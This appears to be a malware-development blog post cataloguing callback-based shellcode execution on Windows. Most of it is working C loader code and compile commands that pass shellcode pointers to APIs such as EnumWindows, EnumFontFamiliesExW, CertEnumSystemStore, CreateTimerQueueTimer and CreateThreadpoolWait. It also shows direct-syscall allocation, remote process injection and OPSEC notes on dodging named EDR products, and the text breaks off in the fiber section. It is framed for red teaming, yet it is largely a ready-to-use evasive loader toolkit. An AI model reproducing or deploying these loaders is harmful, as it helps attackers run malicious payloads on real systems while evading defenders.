ᛉ Yggdrasil

Malware development

Callback Code Execution

16 Sep 2026 · 8,252 words · 38 min

Contents

Legend: [CALLBACK] = Callback-based execution technique | [WINAPI] = Windows API used | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [EDR] = EDR relevance | [C2] = C2 framework relevance


1. What is Callback Code Execution

What it means: Windows APIs extensively use callback functions — they accept a function pointer from the caller, then call into that pointer as part of their operation. Normally, you pass a legitimate function. In offensive use, you pass a pointer to shellcode. The API calls your shellcode for you.

Normal flow:
  App → EnumWindows(LegitCallback, 0) → EnumWindows internally calls LegitCallback(hwnd, 0)

Offensive flow:
  App → EnumWindows(pShellcode, 0)    → EnumWindows internally calls pShellcode(hwnd, 0)
                                                                             ↑
                                                              Your shellcode runs here!

Why Windows allows this: Callbacks are a core design pattern in the Win32 API. There is no built-in mechanism to verify whether a callback pointer points to legitimate code or shellcode. The OS just calls whatever address you give it.

The fundamental trick:

1. Allocate RWX (or RW then RX) memory
2. Copy shellcode into that allocation
3. Get the allocation address as a function pointer
4. Pass that pointer to any Windows API that accepts a callback
5. When the API "calls the callback" → your shellcode executes
6. No CreateThread, no CreateRemoteThread required

Why this is powerful for red teaming / C2:

Traditional loader:          Callback loader:
────────────────────         ────────────────────
VirtualAlloc  (RWX)          VirtualAlloc  (RWX)
memcpy                       memcpy
CreateThread  ← EDR hook     EnumWindows   ← No hook

[OPSEC] EDR products hook NtCreateThread, NtCreateThreadEx, CreateRemoteThread. Callbacks bypass all of these because the shellcode runs inside an existing thread, invoked by a legitimate Win32 API.


2. Why Callbacks Instead of CreateThread

What it means: Understanding why we use callbacks is critical for both evading defenses and building better implants.

2.1 The Problem with CreateThread

CreateThread / CreateRemoteThread path:

  Loader.exe
    └─ CreateThread()
         └─ ntdll!NtCreateThread()  ← EDR HOOK (user-mode)
              └─ Kernel: KiSystemCall64
                   └─ Syscall → PsCreateSystemThread
                        └─ New thread created → Thread start = shellcode
                             ↑ EDR sees: new thread with entry point in heap/private memory
                             ↑ ALERT: Thread with no PE-backed entry point!

2.2 What Callbacks Look Like

EnumWindows() path:

  Loader.exe
    └─ EnumWindows(shellcode_ptr, 0)   ← LEGITIMATE API CALL
         └─ USER32!EnumWindows()       ← No thread creation
              └─ Internally iterates windows
                   └─ Calls shellcode_ptr(hwnd, 0)  ← Looks like a callback being called
                        └─ Shellcode executes
                             ↑ EDR sees: EnumWindows calling a function — looks normal

2.3 Thread Context Comparison

Attribute CreateThread Callback Exec
New thread created? YES NO — same thread
Thread start address in heap? YES — flagged N/A — no new thread
API monitored by EDR? YES (ntdll hooks) No (or far less)
Stack unwinding expected? Simple Looks like API call chain
Works from injected DLL? Yes Yes
Works from shellcode itself? Complex Yes — just call the API

[EDR] EDR products like CrowdStrike, SentinelOne, and Windows Defender ATP monitor thread creation APIs heavily. Callback execution skips this entire detection surface.


3. Core Concept — How Callback Execution Works

What it means: All callback techniques share the same underlying pattern. Once you understand this, all 50+ techniques are variations on the same theme.

3.1 The Callback Function Signature

Windows APIs specify a required callback prototype. Your shellcode just needs to be at the right address — the parameters pushed onto the stack by the API don't usually matter because shellcode uses its own stack.

// Example: EnumWindows expects this signature:
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);

// Your "callback" is just shellcode starting at that address:
// EnumWindows passes hwnd and lParam on the stack
// Shellcode ignores these and just runs
// Shellcode calls ExitProcess() or returns cleanly when done

3.2 The Universal Template (C)

#include <windows.h>
#include <stdio.h>

// ── Shellcode placeholder (replace with your payload) ──────────────
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    // ... rest of shellcode ...
};
unsigned int shellcode_len = sizeof(shellcode);

int main() {
    // Step 1: Allocate executable memory
    LPVOID exec_mem = VirtualAlloc(
        NULL,                   // Let OS choose address
        shellcode_len,          // Size
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE  // RWX (or do RW then RX flip — see §4)
    );
    if (!exec_mem) { printf("[-] VirtualAlloc failed\n"); return 1; }

    // Step 2: Copy shellcode into allocation
    RtlMoveMemory(exec_mem, shellcode, shellcode_len);

    // Step 3: Pass pointer to a callback-based API
    // (Specific API varies — see each technique below)
    EnumWindows((WNDENUMPROC)exec_mem, NULL);

    // Step 4: Cleanup (if shellcode returns)
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

3.3 Compile Commands

# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc callback_exec.c -o callback_exec.exe -luser32 -lkernel32

# MSVC (native Windows)
cl.exe callback_exec.c /Fe:callback_exec.exe user32.lib kernel32.lib

# With additional libs (for crypto/symbol callbacks)
x86_64-w64-mingw32-gcc callback_exec.c -o callback_exec.exe \
    -luser32 -lkernel32 -lcrypt32 -ldbghelp -lpsapi -lwintrust

4. Memory Setup — The Common Foundation

What it means: Before any callback technique works, you need shellcode in executable memory. The memory allocation strategy is a detection vector — choose it based on your OPSEC requirements.

4.1 RWX Allocation (Simple, Detectable)

// RWX — readable, writable, AND executable from the start
// Easy to implement, but EDR flags private RWX memory immediately

LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sc_len);
// → Use callback API here

[DETECT] Private memory allocated with PAGE_EXECUTE_READWRITE is a major detection signal. CrowdStrike, SentinelOne, and Defender ATP all alert on this pattern.

4.2 RW → RX Flip (Better OPSEC)

// Allocate as RW (write shellcode)
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);

// Flip to RX (no more write permission)
DWORD old_protect;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect);

// → Use callback API here

[OPSEC] RW → RX flip is standard in modern implants. The memory is never RWX simultaneously, which avoids the most common EDR heuristic.

4.3 Heap Allocation

// Allocate from heap (less suspicious allocation source)
HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
LPVOID mem = HeapAlloc(heap, 0, sc_len);
memcpy(mem, shellcode, sc_len);

// → Use callback API here

HeapFree(heap, 0, mem);
HeapDestroy(heap);

4.4 Using VirtualAllocEx (Remote Process)

// Inject into another process first, then use callback in that process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
LPVOID mem = VirtualAllocEx(hProc, NULL, sc_len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, sc_len, NULL);

// Then trigger execution via callback in target process
// (e.g., with APC, or inject a loader DLL that calls callback)

4.5 NtAllocateVirtualMemory (Syscall — Maximum OPSEC)

// Bypass userland API hooks by going direct to kernel
// Use SysWhispers2/3 or Hell's Gate to resolve syscall numbers

typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect
);

// Example using direct syscall stub (SysWhispers3)
PVOID mem = NULL;
SIZE_T sz = sc_len;
NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0, &sz, 
    MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);

ULONG old;
NtProtectVirtualMemory(GetCurrentProcess(), &mem, &sz, PAGE_EXECUTE_READ, &old);

[OPSEC] Direct syscalls bypass userland EDR hooks entirely. This is the highest-OPSEC allocation method available without kernel access.


5. Enum* Callback Techniques

What it means: Windows provides dozens of Enum* APIs that iterate over system objects (windows, fonts, locales, monitors, etc.) and call a user-supplied callback for each item. Every single one of these is a potential shellcode execution primitive.


5.1 EnumWindows

[CALLBACK] Header: windows.h | DLL: user32.dll

What it does: Enumerates all top-level windows and calls your callback with each HWND. One of the most commonly used callback techniques.

// Prototype:
BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);
// lpEnumFunc: callback(HWND hwnd, LPARAM lParam) → BOOL

// Full Example:
#include <windows.h>

unsigned char shellcode[] = { /* your shellcode bytes */ };

int main() {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(mem, shellcode, sizeof(shellcode));

    EnumWindows((WNDENUMPROC)mem, 0);

    VirtualFree(mem, 0, MEM_RELEASE);
    return 0;
}
# Compile
x86_64-w64-mingw32-gcc enum_windows.c -o enum_windows.exe -luser32

[OPSEC] Works reliably because top-level windows always exist. The API is in user32.dll which is loaded in nearly every Windows process — looks native.

[DETECT] Extremely popular — behavioral detection now watches for EnumWindows followed by suspicious memory patterns.


5.2 EnumChildWindows

[CALLBACK] DLL: user32.dll

What it does: Enumerates child windows of a given parent HWND. If no child windows exist under the specified parent, the callback may not be called — use GetDesktopWindow() as the parent for reliability.

// Prototype:
BOOL EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam);

// Example:
EnumChildWindows(GetDesktopWindow(), (WNDENUMPROC)exec_mem, 0);

// Or find a window with children:
HWND parent = FindWindow(NULL, L"Program Manager");  // always has children
EnumChildWindows(parent, (WNDENUMPROC)exec_mem, 0);

[OPSEC] Slightly less monitored than EnumWindows. Using GetDesktopWindow() guarantees the callback fires.


5.3 EnumDesktopWindows

[CALLBACK] DLL: user32.dll

What it does: Enumerates all windows on a given desktop. Similar to EnumWindows but scoped to a specific desktop object.

// Prototype:
BOOL EnumDesktopWindows(HDESK hDesktop, WNDENUMPROC lpfn, LPARAM lParam);

// NULL for hDesktop uses the current desktop
EnumDesktopWindows(NULL, (WNDENUMPROC)exec_mem, 0);

// Explicit desktop:
HDESK hDesk = OpenDesktop(L"Default", 0, FALSE, DESKTOP_ENUMERATE);
EnumDesktopWindows(hDesk, (WNDENUMPROC)exec_mem, 0);
CloseDesktop(hDesk);

5.4 EnumThreadWindows

[CALLBACK] DLL: user32.dll

What it does: Enumerates all non-child windows associated with a thread. Less noisy than EnumWindows since it's scoped to a specific thread.

// Prototype:
BOOL EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam);

// Use current thread ID:
EnumThreadWindows(GetCurrentThreadId(), (WNDENUMPROC)exec_mem, 0);

// NOTE: If current thread has no windows, callback may not fire
// Create a dummy window first if needed, or use another thread's ID

[OPSEC] Low visibility — thread-scoped enumeration is rarely monitored by behavioral heuristics.


5.5 EnumDesktopW / EnumWindowStationsW

[CALLBACK] DLL: user32.dll

What it does: EnumDesktopW enumerates desktops in a window station. EnumWindowStationsW enumerates all window stations in the session.

// EnumDesktopW prototype:
BOOL EnumDesktopsW(HWINSTA hwinsta, DESKTOPENUMPROCW lpEnumFunc, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpszDesktop, LPARAM lParam)

// EnumWindowStationsW prototype:
BOOL EnumWindowStationsW(WINSTAENUMPROCW lpEnumFunc, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpszWindowStation, LPARAM lParam)

// Examples:
HWINSTA hStation = GetProcessWindowStation();
EnumDesktopsW(hStation, (DESKTOPENUMPROCW)exec_mem, 0);

EnumWindowStationsW((WINSTAENUMPROCW)exec_mem, 0);

[OPSEC] Very low detection rate — rarely appears in malware signatures. Involves window station internals that security tools less commonly hook.


5.6 EnumFontFamiliesW / EnumFontFamiliesExW / EnumFontsW

[CALLBACK] DLL: gdi32.dll

What it does: Enumerates installed fonts and calls the callback for each. Very reliable — every Windows system has fonts installed.

#include <windows.h>

// Prototype:
int EnumFontFamiliesExW(HDC hdc, LPLOGFONTW lpLogfont, FONTENUMPROCW lpProc, LPARAM lParam, DWORD dwFlags);
int EnumFontFamiliesW(HDC hdc, LPCWSTR lpszFamily, FONTENUMPROCW lpProc, LPARAM lParam);
int EnumFontsW(HDC hdc, LPCWSTR lpFaceName, FONTENUMPROCW lpProc, LPARAM lParam);

// Callback: int CALLBACK proc(const LOGFONT*, const TEXTMETRIC*, DWORD, LPARAM) → int

// Example (EnumFontFamiliesExW):
HDC hdc = GetDC(NULL);  // Get screen DC

LOGFONTW lf = {0};
lf.lfCharSet = DEFAULT_CHARSET;  // Enumerate all charsets

EnumFontFamiliesExW(hdc, &lf, (FONTENUMPROCW)exec_mem, 0, 0);

ReleaseDC(NULL, hdc);
// Simpler (EnumFontsW):
HDC hdc = GetDC(NULL);
EnumFontsW(hdc, NULL, (FONTENUMPROCW)exec_mem, 0);
ReleaseDC(NULL, hdc);
# Compile (need gdi32)
x86_64-w64-mingw32-gcc font_exec.c -o font_exec.exe -lgdi32 -luser32

[OPSEC] GDI callbacks are very legitimate-looking. Font enumeration is common in GUI apps and document viewers.


5.7 EnumDisplayMonitors

[CALLBACK] DLL: user32.dll

What it does: Enumerates display monitors. Works even with a single monitor — always at least one monitor exists.

// Prototype:
BOOL EnumDisplayMonitors(HDC hdc, LPCRECT lprcClip, MONITORENUMPROC lpfnEnum, LPARAM dwData);
// Callback: BOOL CALLBACK proc(HMONITOR hMon, HDC hdcMon, LPRECT lprcMon, LPARAM dwData)

// Example:
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)exec_mem, 0);
// NULL hdc = use virtual screen DC
// NULL clip = enumerate all monitors

[OPSEC] Very clean — single legitimate API call. Monitor enumeration is done by every display-related application.


5.8 EnumObjects

[CALLBACK] DLL: gdi32.dll

What it does: Enumerates GDI objects (pens or brushes) for a DC. Slightly more niche — requires specifying object type.

// Prototype:
int EnumObjects(HDC hdc, int nType, GOBJENUMPROC lpObjectFunc, LPARAM lParam);
// nType: OBJ_BRUSH or OBJ_PEN
// Callback: int CALLBACK proc(LPVOID lpLogObject, LPARAM lParam) → int

// Example:
HDC hdc = GetDC(NULL);
EnumObjects(hdc, OBJ_BRUSH, (GOBJENUMPROC)exec_mem, 0);
ReleaseDC(NULL, hdc);

5.9 EnumPropsW / EnumPropsEx

[CALLBACK] DLL: user32.dll

What it does: Enumerates window properties. Requires a window with properties set on it. Can create a dummy window with properties.

// Prototype:
int EnumPropsW(HWND hWnd, PROPENUMPROCW lpEnumFunc);
int EnumPropsExW(HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam);
// EnumPropsExW callback: BOOL CALLBACK proc(HWND hwnd, LPCWSTR lpszString, HANDLE hData, LPARAM lParam)

// Example — create dummy window, add property, enumerate:
HWND hwnd = CreateWindowExW(0, L"STATIC", L"dummy", WS_POPUP,
    0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);

// Set a property on the window
SetPropW(hwnd, L"MyProp", (HANDLE)0xDEADBEEF);

// Enumerate — callback fires once per property
EnumPropsExW(hwnd, (PROPENUMPROCEXW)exec_mem, 0);

DestroyWindow(hwnd);

5.10 EnumCalendarInfo / EnumCalendarInfoEx

[CALLBACK] DLL: kernel32.dll

What it does: Enumerates locale-specific calendar information. Calls back for each calendar data string.

// Prototype:
BOOL EnumCalendarInfoW(CALINFO_ENUMPROC lpCalInfoEnumProc, LCID Locale, CALID Calendar, CALTYPE CalType);
BOOL EnumCalendarInfoExW(CALINFO_ENUMPROCEXW pCalInfoEnumProcEx, LCID Locale, CALID Calendar, CALTYPE CalType);

// Callback: BOOL CALLBACK proc(LPWSTR lpCalendarInfoString) → BOOL

// Example:
EnumCalendarInfoW((CALINFO_ENUMPROC)exec_mem, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);

[OPSEC] Kernel32 API — looks like locale/globalization code. Low suspicion for international applications.


5.11 EnumTimeFormatsEx

[CALLBACK] DLL: kernel32.dll

What it does: Enumerates time formats for a locale. Triggers callback for each time format string.

// Prototype:
BOOL EnumTimeFormatsEx(TIMEFMT_ENUMPROCEX lpTimeFmtEnumProcEx, LPCWSTR lpLocaleName, DWORD dwFlags, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpTimeFormatString, LPARAM lParam) → BOOL

// Example:
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)exec_mem, LOCALE_NAME_USER_DEFAULT, 0, 0);

5.12 EnumUILanguagesW / EnumLanguageGroupLocalesW / EnumSystemLocales

[CALLBACK] DLL: kernel32.dll

What it does: Enumerate installed UI languages, language group locales, and system locales respectively.

// EnumUILanguagesW prototype:
BOOL EnumUILanguagesW(UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, DWORD dwFlags, LONG_PTR lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpUILanguageString, LONG_PTR lParam)

// EnumLanguageGroupLocalesW prototype:
BOOL EnumLanguageGroupLocalesW(LANGGROUPLOCALE_ENUMPROCW lpLangGroupLocaleEnumProc, LGRPID LanguageGroup, DWORD dwFlags, LONG_PTR lParam);

// EnumSystemLocalesW prototype:
BOOL EnumSystemLocalesW(LOCALE_ENUMPROCW lpLocaleEnumProc, DWORD dwFlags);
// Callback: BOOL CALLBACK proc(LPWSTR lpLocaleString) → BOOL

// Examples:
EnumUILanguagesW((UILANGUAGE_ENUMPROCW)exec_mem, MUI_LANGUAGE_NAME, 0);

EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)exec_mem, LGRPID_WESTERN_EUROPE, 0, 0);

EnumSystemLocalesW((LOCALE_ENUMPROCW)exec_mem, LCID_INSTALLED);

[OPSEC] Locale enumeration APIs are extremely common in legitimate internationalization code.


5.13 EnumPageFilesW

[CALLBACK] DLL: psapi.dll / kernel32.dll

What it does: Enumerates system page files. Calls callback for each page file found.

#include <psapi.h>

// Prototype:
BOOL EnumPageFilesW(PENUM_PAGE_FILE_CALLBACKW pCallBackRoutine, LPVOID pContext);
// Callback: BOOL CALLBACK proc(LPVOID pContext, PENUM_PAGE_FILE_INFORMATION pPageFileInfo, LPCWSTR lpFilename)

// Example:
EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)exec_mem, NULL);
# Compile with psapi
x86_64-w64-mingw32-gcc pagefile_exec.c -o pagefile_exec.exe -lpsapi

5.14 EnumICMProfiles

[CALLBACK] DLL: gdi32.dll

What it does: Enumerates ICC/ICM color profiles registered for a device context.

// Prototype:
int EnumICMProfilesW(HDC hDC, ICMENUMPROCW lpProc, LPARAM lParam);
// Callback: int CALLBACK proc(LPWSTR lpFileName, LPARAM lParam) → int

// Example:
HDC hdc = GetDC(NULL);
EnumICMProfilesW(hdc, (ICMENUMPROCW)exec_mem, 0);
ReleaseDC(NULL, hdc);

5.15 EnumResourceTypesW / EnumResourceTypesExW

[CALLBACK] DLL: kernel32.dll

What it does: Enumerates resource types in a module (PE file). Calls callback for each resource type found.

// Prototype:
BOOL EnumResourceTypesW(HMODULE hModule, ENUMRESTYPEPROCW lpEnumFunc, LONG_PTR lParam);
BOOL EnumResourceTypesExW(HMODULE hModule, ENUMRESTYPEPROCW lpEnumFunc, LONG_PTR lParam, DWORD dwFlags, LANGID LangId);
// Callback: BOOL CALLBACK proc(HMODULE hModule, LPWSTR lpType, LONG_PTR lParam) → BOOL

// Example — enumerate resources of current process executable:
EnumResourceTypesW(GetModuleHandle(NULL), (ENUMRESTYPEPROCW)exec_mem, 0);

// Or target a loaded DLL:
HMODULE hMod = LoadLibrary(L"ntdll.dll");  // or any loaded module
EnumResourceTypesExW(hMod, (ENUMRESTYPEPROCW)exec_mem, 0, 0, 0);

[OPSEC] PE resource enumeration is done by many legitimate tools (resource editors, packers, installers). Very low suspicion.


5.16 EnumDirTreeW

[CALLBACK] DLL: dbghelp.dll

What it does: Enumerates files matching a wildcard in a directory tree. Part of DbgHelp — appears in debugger-related code.

#include <dbghelp.h>

// Prototype:
BOOL EnumDirTree(HANDLE hProcess, PCSTR RootPath, PCSTR InputPathName, PSTR OutputPathBuffer, PENUMDIRTREE_CALLBACK cb, PVOID data);
BOOL EnumDirTreeW(HANDLE hProcess, PCWSTR RootPath, PCWSTR InputPathName, PWSTR OutputPathBuffer, PENUMDIRTREE_CALLBACKW cb, PVOID data);
// Callback: BOOL CALLBACK proc(LPCWSTR FilePath, PVOID CallerData)

// Example:
WCHAR outBuf[MAX_PATH] = {0};
EnumDirTreeW(GetCurrentProcess(), L"C:\\Windows\\System32", L"*.dll", outBuf, (PENUMDIRTREE_CALLBACKW)exec_mem, NULL);
# Compile with dbghelp
x86_64-w64-mingw32-gcc dirTree_exec.c -o dirTree_exec.exe -ldbghelp

[OPSEC] DbgHelp callbacks are associated with debuggers and dev tools. Unusual in production malware — unexpected from an EDR behavioral perspective.


5.17 EnumerateLoadedModules / LdrEnumerateLoadedModules

[CALLBACK] DLL: dbghelp.dll / ntdll.dll

What it does: EnumerateLoadedModules (dbghelp) enumerates loaded modules in a process via a callback. LdrEnumerateLoadedModules is the undocumented NT equivalent operating directly on the PEB loader data.

#include <dbghelp.h>

// EnumerateLoadedModules (DbgHelp):
// Prototype:
BOOL EnumerateLoadedModules64(HANDLE hProcess, PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback, PVOID UserContext);
// Callback: BOOL CALLBACK proc(PCSTR ModuleName, DWORD64 ModuleBase, ULONG ModuleSize, PVOID UserContext)

// Example:
EnumerateLoadedModules64(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK64)exec_mem, NULL);
// LdrEnumerateLoadedModules (NT internal, ntdll.dll):
typedef NTSTATUS (NTAPI *pLdrEnumerateLoadedModules)(
    ULONG ReservedFlag,   // 0
    PVOID EnumProc,       // callback pointer
    PVOID Context         // passed to callback
);

// Resolve from ntdll dynamically:
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pLdrEnumerateLoadedModules LdrEnum = (pLdrEnumerateLoadedModules)GetProcAddress(ntdll, "LdrEnumerateLoadedModules");

LdrEnum(0, exec_mem, NULL);
// Callback signature: void NTAPI proc(PLDR_DATA_TABLE_ENTRY DataTableEntry, PVOID Context, BOOLEAN *Stop)

[OPSEC] LdrEnumerateLoadedModules is an undocumented internal — EDR products are less likely to hook NT-internal functions compared to documented Win32 APIs.


5.18 EnumPwrSchemes

[CALLBACK] DLL: powrprof.dll

What it does: Enumerates power schemes. Calls back for each scheme found.

#include <windows.h>
#include <powrprof.h>

// Prototype:
BOOLEAN EnumPwrSchemes(PWRSCHEMESENUMPROC lpfnPWSCallback, LPARAM lParam);
// Callback: BOOL CALLBACK proc(UINT uiIndex, DWORD dwName, LPWSTR sName, DWORD dwDesc, LPWSTR sDesc, PPOWER_POLICY pp, LPARAM lParam)

// Example:
EnumPwrSchemes((PWRSCHEMESENUMPROC)exec_mem, 0);
# Compile with powrprof
x86_64-w64-mingw32-gcc pwr_exec.c -o pwr_exec.exe -lpowrprof

6. Crypt / Cert Callback Techniques

What it means: The Windows certificate and cryptography subsystem (crypt32.dll) also exposes enumeration APIs with callbacks. These look like legitimate certificate management code.


6.1 CertEnumSystemStore

[CALLBACK] DLL: crypt32.dll

What it does: Enumerates certificate stores (e.g., My, Root, CA). The callback fires for each store name found. Very reliable — multiple stores always exist.

#include <windows.h>
#include <wincrypt.h>

// Prototype:
BOOL CertEnumSystemStore(
    DWORD dwFlags,
    void *pvSystemStoreLocationPara,
    void *pvArg,
    PFN_CERT_ENUM_SYSTEM_STORE pfnEnum  // ← callback here
);
// Callback: BOOL CALLBACK proc(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)

// Example:
CertEnumSystemStore(
    CERT_SYSTEM_STORE_CURRENT_USER,  // enumerate current user's stores
    NULL,
    NULL,
    (PFN_CERT_ENUM_SYSTEM_STORE)exec_mem
);
# Compile with crypt32
x86_64-w64-mingw32-gcc cert_exec.c -o cert_exec.exe -lcrypt32

[OPSEC] Certificate store enumeration is done by every TLS-aware application. Extremely common in browsers, email clients, update services. Very low suspicion.


6.2 CertEnumSystemStoreLocation

[CALLBACK] DLL: crypt32.dll

What it does: Enumerates system store locations (CURRENT_USER, LOCAL_MACHINE, etc.). Fires before you even know which stores are inside.

// Prototype:
BOOL CertEnumSystemStoreLocation(
    DWORD dwFlags,
    void *pvArg,
    PFN_CERT_ENUM_SYSTEM_STORE_LOCATION pfnEnum
);
// Callback: BOOL CALLBACK proc(LPCWSTR pvszStoreLocations, DWORD dwFlags, void *pvReserved, void *pvArg)

// Example:
CertEnumSystemStoreLocation(0, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)exec_mem);

6.3 CryptEnumOIDInfo

[CALLBACK] DLL: crypt32.dll

What it does: Enumerates registered OID (Object Identifier) information entries. OIDs define cryptographic algorithms and certificate extensions — many are registered.

// Prototype:
BOOL CryptEnumOIDInfo(
    DWORD dwGroupId,
    DWORD dwFlags,
    void *pvArg,
    PFN_CRYPT_ENUM_OID_INFO pfnEnumOIDInfo
);
// Callback: BOOL CALLBACK proc(PCCRYPT_OID_INFO pInfo, void *pvArg)

// Example — enumerate ALL OID groups:
CryptEnumOIDInfo(0, 0, NULL, (PFN_CRYPT_ENUM_OID_INFO)exec_mem);
// dwGroupId=0 means enumerate all groups

[OPSEC] OID enumeration is deep in the crypto subsystem. Behavioral detection on this API is extremely rare.


7. Timer & Thread Pool Callbacks

What it means: Windows provides timer mechanisms where a callback fires after a delay. These are legitimately used for scheduled tasks, keep-alives, and timeouts — and they execute shellcode in the context of an existing thread or thread pool worker.


7.1 SetTimer (User-Mode Timer)

[CALLBACK] DLL: user32.dll

What it does: Registers a window timer. The callback (TIMERPROC) fires after the specified interval. Requires a message loop to process.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };
LPVOID exec_mem;

// Timer callback — called by Windows message loop
void CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime) {
    // This IS the shellcode entry point — but we want the callback itself to be shellcode
    // So don't define this; instead cast exec_mem as TIMERPROC
}

int main() {
    exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // Register timer with shellcode as the callback
    SetTimer(NULL, 0, 100, (TIMERPROC)exec_mem);  // 100ms delay

    // Message loop to trigger the timer
    MSG msg;
    GetMessage(&msg, NULL, 0, 0);  // Waits for timer message
    TranslateMessage(&msg);
    DispatchMessage(&msg);         // Triggers TIMERPROC = shellcode

    return 0;
}

[OPSEC] Requires a message loop to fire — adds complexity but looks like a legitimate GUI application pattern.


7.2 CreateTimerQueueTimer

[CALLBACK] DLL: kernel32.dll

What it does: Creates a timer in a timer queue. The callback runs in a thread pool worker thread after the specified delay. No message loop required.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main() {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    HANDLE hTimer = NULL;

    // CreateTimerQueueTimer:
    // Callback fires once after 100ms (no repeat)
    CreateTimerQueueTimer(
        &hTimer,
        NULL,                    // Default timer queue
        (WAITORTIMERCALLBACK)exec_mem,
        NULL,                    // Parameter to callback
        100,                     // Due time (ms)
        0,                       // Period (0 = one-shot)
        WT_EXECUTEONLYONCE
    );

    // Wait for timer to fire
    Sleep(500);

    return 0;
}

[OPSEC] Thread pool workers are an existing OS mechanism — no new thread creation events from your code. The shellcode runs in a thread pool thread, not a newly created thread.

[DETECT] The callback fires from a ntdll!TppWorkerThread — any shellcode detection in thread pool workers will catch this.


7.3 CreateThreadPoolWait

[CALLBACK] DLL: kernel32.dll

What it does: Creates a thread pool wait object. When the associated event is signaled, the callback fires in a thread pool worker. This was one of the first popularized callback techniques.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main() {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

    // Create the thread pool wait with shellcode as callback
    PTP_WAIT ptpWait = CreateThreadpoolWait(
        (PTP_WAIT_CALLBACK)exec_mem,  // callback = shellcode
        NULL,                          // optional context
        NULL                           // optional callback environ
    );

    // Create an event to signal the wait
    HANDLE hEvent = CreateEvent(NULL, TRUE, TRUE, NULL);  // Already signaled

    // Set the wait — fires immediately because event is already signaled
    SetThreadpoolWait(ptpWait, hEvent, NULL);

    // Give thread pool time to execute
    WaitForThreadpoolWaitCallbacks(ptpWait, FALSE);

    CloseHandle(hEvent);
    CloseThreadpoolWait(ptpWait);
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

[OPSEC] Very popular in modern implants (popularized by alfarom256 / aahmad097). Thread pool callback mechanism is legitimate and extremely common in Windows internals.


8. Fiber-Based Execution

What it means: Fibers are a Windows concept for cooperative multitasking within a single thread. A fiber has its own stack and execution context but runs in the host thread. Converting a thread to a fiber and scheduling shellcode as a fiber is a stealthy execution method.


8.1 FiberContextEdit / ConvertThreadToFiber

[CALLBACK] DLL: kernel32.dll

What it does: Converts the current thread to a fiber, then creates a new fiber whose entry point is shellcode. Switching to the fiber executes shellcode.

#include <windows.h>

unsigned char shellcode[] = { /* shellcode */ };

int main() {
    // Allocate and copy shellcode
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
